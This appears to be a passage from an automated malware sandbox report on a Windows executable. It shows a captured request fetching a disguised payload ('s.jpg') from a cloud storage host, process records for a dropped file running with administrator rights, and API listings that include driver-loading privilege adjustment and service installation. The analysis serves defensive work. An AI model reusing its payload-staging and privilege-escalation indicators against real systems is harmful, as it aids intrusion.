2025-01-07 03:15:49 UTC	111	OUT	GET /s.jpg HTTP/1.1 User-Agent: GetData Host: jylhok.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-07 03:15:49 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Tue, 07 Jan 2025 03:15:49 GMT Content-Type: image/jpeg Content-Length: 8299 Connection: close x-oss-request-id: 677C9C65B2582235363FD723 Accept-Ranges: bytes ETag: "9BDB6A4AF681470B85A3D46AF5A4F2A7" Last-Modified: Mon, 06 Jan 2025 08:35:20 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 692387538176721524 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: m9tqSvaBRwuFo9Rq9aTypw== x-oss-server-time: 11
2025-01-07 03:15:49 UTC	3552	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-07 03:15:49 UTC	4096	IN	Data Raw: 06 6a 97 a0 76 9f 8a 4c ce c2 04 d4 99 b6 a3 2e 14 ad df 13 51 65 93 89 43 91 9f a1 22 66 8b 67 93 6a a2 a8 41 af 7a 2c ae 4c aa 83 63 3f 31 b1 0c 38 b2 5a bc ee 9f ac 38 b8 3b d8 89 02 c6 e4 8d 4f 83 68 c8 cb e9 cd 46 82 eb f8 de 65 da d0 b3 5f 34 d9 d6 6d db 55 d9 bc fb a3 e2 61 23 e6 e4 e3 87 ec ad ee cf c4 48 ef c7 73 cd d6 f3 c4 81 f4 1c 39 58 f8 db f6 39 e6 54 8a 0c ef 0e 3c c4 02 47 ce 01 4a eb 07 3d 8b cf 64 01 b1 11 50 1f 56 fc 58 fd 52 90 48 39 56 7e 31 61 02 cb 69 da d9 d8 cc 26 ee 13 ab 4c 25 c9 2d d0 31 03 dc f8 c8 d7 3b 32 53 27 d0 3e e3 d2 43 01 15 0b c5 c7 aa 26 cf 01 8d 0f 68 05 6c 61 40 dc 57 84 5a 54 79 13 7c 39 5f 3b 5d be 3a 5e 38 29 ef 27 40 e5 0e 2f e3 91 59 ab d5 8c 1a 9b 83 db 73 71 24 d7 68 16 7f 18 08 bb 51 3d 32 5b d8 c4 b1 43 Data Ascii: jvL.QeC"fgjAz,Lc?18Z8;OhFe_4mUa#Hs9X9T<GJ=dPVXRH9V~1ai&L%-1;2S'>C&hla@WZTy\|9_;]:^8)'@/Ysq$hQ=2[C
2025-01-07 03:15:49 UTC	651	IN	Data Raw: d6 f2 f5 18 89 8e 8a db 3d b5 89 92 61 93 d9 95 d6 f9 fa e8 f6 8e e8 f9 2d 9f 8a 17 a0 e4 d1 c1 a0 b7 a6 2d 71 ae f8 c9 d9 ef da b0 c5 da fa da d3 d9 f2 c0 b8 ea 98 18 bd f0 db b2 82 ae c3 ad a0 a8 b3 8b a8 a6 a7 8d 1d d0 9d 80 92 80 87 97 c7 d6 97 a8 da 92 be bd ad bf db e0 e5 e2 8f 56 e5 a7 8b 84 86 89 eb ec 39 ec a8 95 85 a2 81 d4 9a 95 92 8b 8a ab fa fc fd fe b4 45 53 4c 46 48 36 34 f8 7b 0a 05 0b 03 0d 01 0f 1f 11 1d 13 1b 15 19 17 e7 16 1a 14 1c 12 1e 10 20 2e 22 2c 24 2a 26 28 28 d6 25 2b 23 2d 21 2f 3f 31 3d 33 3b 35 39 37 37 39 3a 3b 3c f6 8f 1f 40 51 42 43 63 45 76 3f 0a e1 4a 4b 7c 4d 3e 1b 54 09 32 53 6c 7f 97 57 40 d9 5a 77 8c 5d 42 42 71 c9 62 63 ec 65 4a 47 68 75 52 6b 60 38 6f e3 30 71 6e 2b 70 63 16 77 76 2e 4a 69 7c 7d ee 7e 96 81 8c 84 Data Ascii: =a--qV9ESLFH64{ .",$*&((%+#-!/?1=3;59779:;<@QBCcEv?JK\|M>T2SlW@Zw]BBqbceJGhuRk`8o0qn+pcwv.Ji\|}~

Target ID:	0
Start time:	22:14:07
Start date:	06/01/2025
Path:	C:\Users\user\Desktop\287438657364-7643738421.08.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\287438657364-7643738421.08.exe"
Imagebase:	0x140000000
File size:	30'886'912 bytes
MD5 hash:	12771744B7DE8FFB1F0DDDF3AC8ED2F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:15:48
Start date:	06/01/2025
Path:	C:\Users\user\Documents\O8xg2t.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\O8xg2t.exe
Imagebase:	0x140000000
File size:	133'136 bytes
MD5 hash:	D3709B25AFD8AC9B63CBD4E1E1D962B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:15:50
Start date:	06/01/2025
Path:	C:\Users\user\Documents\O8xg2t.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\O8xg2t.exe
Imagebase:	0x140000000
File size:	133'136 bytes
MD5 hash:	D3709B25AFD8AC9B63CBD4E1E1D962B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:16:01
Start date:	06/01/2025
Path:	C:\Users\user\Documents\O8xg2t.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\O8xg2t.exe
Imagebase:	0x140000000
File size:	133'136 bytes
MD5 hash:	D3709B25AFD8AC9B63CBD4E1E1D962B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.8%
Total number of Nodes:	480
Total number of Limit Nodes:	7

Executed Functions

Function 0000000140006C95 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 260
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 0000000140006FA2
@, xrefs: 0000000140006D6C

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 7cfc64899170ff4cc517d5e5588f068c1185db4b9779a261fbf36bfcd151d312
Instruction ID: b9b90cad4d4dbad5e60228b5b2812afcd9ff4e9267d7912497f5da913a33a31e
Opcode Fuzzy Hash: 7cfc64899170ff4cc517d5e5588f068c1185db4b9779a261fbf36bfcd151d312
Instruction Fuzzy Hash: 0EE19876619B84CADBA1CB19E4807AAB7A1F3C8795F105116FB8E87B68DB7CC454CF00

Function 00000001400073E0 Relevance: 1.6, APIs: 1, Instructions: 121
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 00000001400073E2

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 2ac1721fb543b4f5636bdbbd43774787bb16f59a86ab6105cb05102c09e3eb47
Instruction ID: 9a2124daaedac402c784edcfb7064d0c1467828d98a6eaf5875e1b487be58861
Opcode Fuzzy Hash: 2ac1721fb543b4f5636bdbbd43774787bb16f59a86ab6105cb05102c09e3eb47
Instruction Fuzzy Hash: 2451A676619BC582DA71CB1AE4907EEA360F7C8B85F504026EB8E87B69DF3DC455CB00

Function 0000000140005DF3 Relevance: 54.3, APIs: 3, Strings: 28, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0000000140005F30
malloc.MSVCRT ref: 0000000140005FD3
ReadFile.KERNELBASE ref: 0000000140006016

Strings

d, xrefs: 0000000140005F7D
r, xrefs: 0000000140005F6E
d, xrefs: 0000000140005EE1
i, xrefs: 0000000140005EC1
M, xrefs: 0000000140005EA9
t, xrefs: 0000000140005F73
m, xrefs: 0000000140005F91
c, xrefs: 0000000140005F69
v, xrefs: 0000000140005F64
p, xrefs: 0000000140005EB1
s, xrefs: 0000000140005F5F
M, xrefs: 0000000140005E99
., xrefs: 0000000140005F78
l, xrefs: 0000000140005F82
l, xrefs: 0000000140005F9B
o, xrefs: 0000000140005FA5
m, xrefs: 0000000140005F5A
t, xrefs: 0000000140005EF1
l, xrefs: 0000000140005F87
a, xrefs: 0000000140005EE9
s, xrefs: 0000000140005EC9
c, xrefs: 0000000140005FAA
a, xrefs: 0000000140005F96
s, xrefs: 0000000140005EA1
., xrefs: 0000000140005ED9
l, xrefs: 0000000140005FA0
L, xrefs: 0000000140005EB9
t, xrefs: 0000000140005ED1

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: File$CreateReadmalloc
String ID: .$.$L$M$M$a$a$c$c$d$d$i$l$l$l$l$m$m$o$p$r$s$s$s$t$t$t$v
API String ID: 3950102678-3381721293
Opcode ID: 3049977341a31d9fc1ffd9be0b7c42ac82c2b568782cbed11d6bb6d6295d5fdb
Instruction ID: 29f707ba186f29322d2427d6251999ac740dd2877dad0e4ee3b4d54c0b8fffc7
Opcode Fuzzy Hash: 3049977341a31d9fc1ffd9be0b7c42ac82c2b568782cbed11d6bb6d6295d5fdb
Instruction Fuzzy Hash: 0241A03250C7C0C9E372C729E45879BBB91E3A6748F04405997C846B9ACBBED158CB22

Function 00007FFBC3201C00 Relevance: 12.2, APIs: 8, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBC3201C28
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBC3201C7A
_RTC_Initialize.LIBCMT ref: 00007FFBC3201CA8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBC3201CCE
__scrt_release_startup_lock.LIBCMT ref: 00007FFBC3201CF9

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 2846997451869cfc22dce892cf33863956c031717884ec40ded3d85d199baf95
Instruction ID: 200ba1eaccdb56bb8a39e9f9c3ebab91d682492d5e843a2ac4e892f0bbe45b50
Opcode Fuzzy Hash: 2846997451869cfc22dce892cf33863956c031717884ec40ded3d85d199baf95
Instruction Fuzzy Hash: C58168B5E0834346FE54BF75D541A7B63A0AF45780F9C4036EA0E6F692DE2CF9498780

Function 00007FFBC3201720 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNEL32 ref: 00007FFBC3201753
FreeLibrary.KERNEL32 ref: 00007FFBC3201981

Part of subcall function 00007FFBC3201B90: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFBC3201BC0
Part of subcall function 00007FFBC3201B90: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFBC3201BC6

Part of subcall function 00007FFBC3201720: FindFirstFileA.KERNELBASE ref: 00007FFBC3201536

Strings

WordpadFilter.db, xrefs: 00007FFBC3201527

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: Concurrency::cancel_current_taskFree$ConsoleFileFindFirstLibrary
String ID: WordpadFilter.db
API String ID: 868324331-3647581008
Opcode ID: d3782359f8138357475ac289ad5b0888311af99f11814fa5341d046d98142f4f
Instruction ID: efc89471d09b85c4e495e240cf211d7dcb704c5374d01f5d9737b1d73c5383d6
Opcode Fuzzy Hash: d3782359f8138357475ac289ad5b0888311af99f11814fa5341d046d98142f4f
Instruction Fuzzy Hash: 65318072B15B4189EB00EFB1D8406AE73B5EB98788F584635EE8D27B44EF38D555C380

Function 00007FFBC32011B0 Relevance: 3.2, APIs: 2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBC32014EB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFBC32014F7

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: c49bc023de0e2a92928f53e7c16b56888227e9b94bcb6080ad38a6f5ea522257
Instruction ID: b5c6679d8abf1cf11a429dd6e243c46acffadc3ab6381ad13ab9c944b6361c89
Opcode Fuzzy Hash: c49bc023de0e2a92928f53e7c16b56888227e9b94bcb6080ad38a6f5ea522257
Instruction Fuzzy Hash: 45816A76A1869246EA11AF35D8005BAA794FF56BC4F588335EF593B792DF3CF0928300

Non-executed Functions

Function 0000000140001A30 Relevance: 37.9, APIs: 30, Instructions: 422memorystringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140001AA6
LeaveCriticalSection.KERNEL32 ref: 0000000140001B30
EnterCriticalSection.KERNEL32 ref: 0000000140001B48
LeaveCriticalSection.KERNEL32 ref: 0000000140001BC9
EnterCriticalSection.KERNEL32 ref: 0000000140001BE6
LeaveCriticalSection.KERNEL32 ref: 0000000140001C67
EnterCriticalSection.KERNEL32 ref: 0000000140001C84
LeaveCriticalSection.KERNEL32 ref: 0000000140001D0D
lstrlenW.KERNEL32 ref: 0000000140001D1F
GetProcessHeap.KERNEL32 ref: 0000000140001D2E
HeapAlloc.KERNEL32 ref: 0000000140001D3C
EnterCriticalSection.KERNEL32 ref: 0000000140001D6F
LeaveCriticalSection.KERNEL32 ref: 0000000140001DF0
lstrlenW.KERNEL32 ref: 0000000140001DFF
GetProcessHeap.KERNEL32 ref: 0000000140001E0E
HeapAlloc.KERNEL32 ref: 0000000140001E1C
EnterCriticalSection.KERNEL32 ref: 0000000140001E4F
LeaveCriticalSection.KERNEL32 ref: 0000000140001ED0
EnterCriticalSection.KERNEL32 ref: 0000000140001EED
LeaveCriticalSection.KERNEL32 ref: 0000000140001F6E
lstrlenW.KERNEL32 ref: 0000000140001F7D
GetProcessHeap.KERNEL32 ref: 0000000140001F8C
HeapAlloc.KERNEL32 ref: 0000000140001F9A
EnterCriticalSection.KERNEL32 ref: 0000000140001FCD
LeaveCriticalSection.KERNEL32 ref: 000000014000204E
lstrlenW.KERNEL32 ref: 000000014000205D
GetProcessHeap.KERNEL32 ref: 000000014000206C
HeapAlloc.KERNEL32 ref: 000000014000207A
EnterCriticalSection.KERNEL32 ref: 00000001400020B4
LeaveCriticalSection.KERNEL32 ref: 000000014000214E

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Heap$AllocProcesslstrlen
String ID:
API String ID: 3526400053-0
Opcode ID: 2d7440e75e10ea9e081ba84afc5c3468ce3eac85d6796ce4805a157c9b29c232
Instruction ID: dcb8fc7c666fd7128fde866f0540a8def7dae1288ec2bbf322971b46f3f62141
Opcode Fuzzy Hash: 2d7440e75e10ea9e081ba84afc5c3468ce3eac85d6796ce4805a157c9b29c232
Instruction Fuzzy Hash: E3220F76211B4086E722DF26F840B9933A1F78CBE5F541226EB5A8B7B4DF3AC585C740

Function 0000000140003F80 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 160timeCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 0000000140003FA2
GetCurrentProcess.KERNEL32 ref: 0000000140003FF6
OpenProcessToken.ADVAPI32 ref: 0000000140004007
GetLastError.KERNEL32 ref: 0000000140004011
LookupPrivilegeValueW.ADVAPI32 ref: 000000014000403A
AdjustTokenPrivileges.ADVAPI32 ref: 0000000140004080
GetLastError.KERNEL32 ref: 000000014000408A
CloseHandle.KERNEL32 ref: 0000000140004095
EnterCriticalSection.KERNEL32 ref: 00000001400040B3
LeaveCriticalSection.KERNEL32 ref: 000000014000412B
GetVersionExW.KERNEL32 ref: 0000000140004155
RpcSsDontSerializeContext.RPCRT4 ref: 000000014000416C
RpcServerUseProtseqEpW.RPCRT4 ref: 0000000140004189
RpcServerRegisterIfEx.RPCRT4 ref: 00000001400041B9
RpcServerListen.RPCRT4 ref: 00000001400041D3
CreateWaitableTimerW.KERNEL32 ref: 0000000140004205
CreateEventW.KERNEL32 ref: 000000014000421C
SetWaitableTimer.KERNEL32 ref: 0000000140004289

Strings

ampStartSingletone: logging started, settins=%s, xrefs: 0000000140003FD5
null, xrefs: 0000000140003FCE
SeLoadDriverPrivilege, xrefs: 000000014000402A

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSectionServer$CreateErrorLastProcessTimerTokenWaitable$AdjustCloseContextCurrentDontEnterEventHandleInitializeLeaveListenLookupOpenPrivilegePrivilegesProtseqRegisterSerializeValueVersion
String ID: SeLoadDriverPrivilege$ampStartSingletone: logging started, settins=%s$null
API String ID: 3408796845-4213300970
Opcode ID: 126decfa78297cd7188aa212e183f7007b74f13d5c024852e8adcc4be0567069
Instruction ID: 59d58333609de1a5812b0fd1fbb73637b4596d8d749a2627428b03e5fdfefd81
Opcode Fuzzy Hash: 126decfa78297cd7188aa212e183f7007b74f13d5c024852e8adcc4be0567069
Instruction Fuzzy Hash: B19104B1224A4182EB12CF22F854BC633A5F78C7D4F445229FB9A4B6B4DF7AC159CB44

Function 00000001400042B0 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 59synchronizationtimethreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042BB
CancelWaitableTimer.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042C8
SetEvent.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042D5
WaitForSingleObject.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042E7
TerminateThread.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042FD
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000430A
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004317
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004324
RpcServerUnregisterIf.RPCRT4 ref: 0000000140004336
RpcMgmtStopServerListening.RPCRT4 ref: 000000014000433E
EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000435A
LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000437F
DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000438C
#4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043C0
LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043CC
DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043D9
#4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043E6

Strings

ampStopSingletone: logging ended, xrefs: 00000001400043B2

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$CloseHandle$DeleteEnterLeaveServer$CancelEventListeningMgmtObjectSingleStopTerminateThreadTimerUnregisterWaitWaitable
String ID: ampStopSingletone: logging ended
API String ID: 2048888615-3533855269
Opcode ID: 304760f1fd88bc3c97c02eb8ad6caf2cea0e78157ea711a11ae6bb1ec958ebce
Instruction ID: 72436faa0f880f3f140bbf81e9e476d17cd4b789f208762ad84a5967a0be411a
Opcode Fuzzy Hash: 304760f1fd88bc3c97c02eb8ad6caf2cea0e78157ea711a11ae6bb1ec958ebce
Instruction Fuzzy Hash: 85315178221A0192EB17DF27EC94BD82361E79CBE1F455111FB0A4B2B1CF7AC5898744

Function 000000014000C3F0 Relevance: 29.0, APIs: 19, Instructions: 515COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eee3a1980859deabbe81d62853d66f73e7f8938a0b91b292409d40ad6238f27
Instruction ID: 939e1951021ac32239a98278383650b1560c4a87fea8e277fdca239b4ddbef52
Opcode Fuzzy Hash: 3eee3a1980859deabbe81d62853d66f73e7f8938a0b91b292409d40ad6238f27
Instruction Fuzzy Hash: 3022CEB2625A8086EB22CF2BF445BEA77A0F78DBC4F444116FB4A476B5DB39C445CB00

Function 0000000140001520 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32 ref: 00000001400015A4
GetLastError.KERNEL32 ref: 00000001400015B2

Part of subcall function 0000000140001430: GetModuleFileNameW.KERNEL32 ref: 000000014000145E
Part of subcall function 0000000140001430: OpenSCManagerW.ADVAPI32 ref: 000000014000146C
Part of subcall function 0000000140001430: GetLastError.KERNEL32 ref: 000000014000147A

Strings

/service, xrefs: 000000014000153F
/remove, xrefs: 000000014000157E
vseamps, xrefs: 0000000140001538

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: ErrorLastManagerOpen$FileModuleName
String ID: /remove$/service$vseamps
API String ID: 67513587-3839141145
Opcode ID: 39fa17c263662ab8de8707f1fae5283c28ed51da3e4186f1b0bc27974e33e859
Instruction ID: ba5f49d8dd96f1c36e401cc1f7cdff7269c229e2e129f463089a9495e32f08e5
Opcode Fuzzy Hash: 39fa17c263662ab8de8707f1fae5283c28ed51da3e4186f1b0bc27974e33e859
Instruction Fuzzy Hash: F031E9B2708B4086EB42DF67B84439AA3A1F78CBD4F480025FF5947B7AEE79C5558704

Function 000000014000F000 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 152libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F042
